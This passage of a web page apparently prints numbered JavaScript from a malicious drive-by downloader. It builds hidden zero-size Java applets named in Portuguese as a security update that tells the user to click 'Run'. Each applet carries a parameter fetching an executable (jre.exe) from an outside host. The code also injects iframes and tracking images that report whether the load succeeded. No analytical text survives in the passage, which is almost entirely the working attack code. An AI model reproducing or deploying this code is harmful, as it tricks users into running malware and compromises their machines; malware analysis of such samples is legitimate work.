<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  47:</span>     <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  48:</span>         <span style="color: #0000ff">try</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  49:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">new</span> ActiveXObject(<span style="color: #006080">&quot;Microsoft.XMLHTTP&quot;</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  50:</span>         } <span style="color: #0000ff">catch</span> (ex) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  51:</span>             <span style="color: #0000ff">return</span> <span style="color: #0000ff">null</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  52:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  53:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  54:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  55:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  56:</span> <span style="color: #0000ff">function</span> JSM_labReport(url) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  57:</span>     <span style="color: #0000ff">var</span> oReq = getXMLHttpRequest();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  58:</span>     <span style="color: #0000ff">if</span> (oReq) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  59:</span>         oReq.onreadystatechange = <span style="color: #0000ff">function</span> () {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  60:</span>             <span style="color: #0000ff">if</span> (oReq.readyState == 4) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  61:</span>                 <span style="color: #0000ff">if</span> (oReq.status == 200) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  62:</span>                     <span style="color: #008000">//window.alert('from callback ' + oReq.responseText);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  63:</span>                 }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  64:</span>             }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  65:</span>         };</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  66:</span>         oReq.open(<span style="color: #006080">&quot;GET&quot;</span>, url, <span style="color: #0000ff">true</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  67:</span>         oReq.send();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  68:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  69:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  70:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  71:</span> <span style="color: #0000ff">function</span> JSM_labReport2(url) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  72:</span>     <span style="color: #0000ff">var</span> hhBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  73:</span>     <span style="color: #0000ff">if</span> (hhBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  74:</span>         hhBody.insertBefore(JSM_createIframe(url), hhBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  75:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  76:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  77:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  78:</span> <span style="color: #0000ff">function</span> JSM_createImg(src) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  79:</span>     <span style="color: #0000ff">var</span> img = document.createElement(<span style="color: #006080">'img'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  80:</span>     img.src = src;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  81:</span>     <span style="color: #0000ff">return</span> img;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  82:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  83:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  84:</span> <span style="color: #0000ff">function</span> JSM_createSpan(html) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  85:</span>     <span style="color: #0000ff">var</span> span = document.createElement(<span style="color: #006080">'span'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  86:</span>     span.innerHTML = html;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  87:</span>     <span style="color: #0000ff">return</span> span;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  88:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  89:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  90:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  91:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  92:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  93:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  94:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml_X() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  95:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + jsm_applet_url + <span style="color: #006080">'javab.jar?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  96:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  97:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  98:</span> <span style="color: #0000ff">function</span> JSM_onLoad() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  99:</span>     <span style="color: #008000">//report load success</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 100:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loaded);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 101:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loaded);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 102:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loaded);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 103:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 104:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 105:</span> <span style="color: #0000ff">function</span> JSM_onLoadJavaX() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 106:</span>     JSM_createImg(<span style="color: #006080">'http://c.statcounter.com/7455623/0/bd77ea2d/1/'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 107:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 108:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 109:</span> <span style="color: #0000ff">function</span> JSM_onLoadFail() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 110:</span>     <span style="color: #008000">//report load fail</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 111:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loadfail);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 112:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loadfail);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 113:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loadfail);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 114:</span>     <span style="color: #0000ff">if</span> (jsm_applet_index &lt; jsm_applet_count) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 115:</span>         jsm_applet_index++;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 116:</span>         <span style="color: #0000ff">var</span> hBody = document.body;</pre></p>
